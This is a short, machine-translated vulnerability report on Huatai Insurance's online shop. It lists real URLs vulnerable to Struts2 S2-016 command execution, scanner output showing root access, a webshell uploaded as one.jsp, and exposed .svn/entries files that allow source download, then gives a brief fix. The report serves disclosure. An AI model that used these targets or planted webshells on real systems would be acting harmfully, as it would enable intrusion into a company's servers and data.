A system vulnerability in huatai insurance has problems such as configuration leakage. Shell can threaten the Intranet.

A system vulnerability in huatai insurance has problems such as configuration leakage. Shell can threaten the Intranet.

St command execution/configuration Leakage

1 # Command Execution

Http://shop.ehuatai.com: 7777/esale/login/rapidBaojiaAction-baojia.action
 

 

 

Target: http://shop.ehuatai.com:7777/isale/actions/logonAction-logon.actionUseage: S2-016 Whoami: rootWebPath: /jboss/jboss-eap-ehuatai/jbossas/server/production/./deploy/isale.war/====================================================================================================================================Target: http://shop.ehuatai.com:7777/esale/login/rapidBaojiaAction-baojia.actionUseage: S2-016 Whoami: rootWebPath: /jboss/jboss-eap-ehuatai/jbossas/server/production/./deploy/esale.war/

 

 

 

Upload a pony
 

Http://shop.ehuatai.com: 7777/esale/one. jsp

Pony uploads a sentence
 

2 # improper svn Configuration

Http://shop.ehuatai.com: 7777/esale/. svn/entries
 

Http://shop.ehuatai.com: 7777/isale/. svn/entries
 

Source code download
 

 

 

Solution:

Patch and delete svn configurations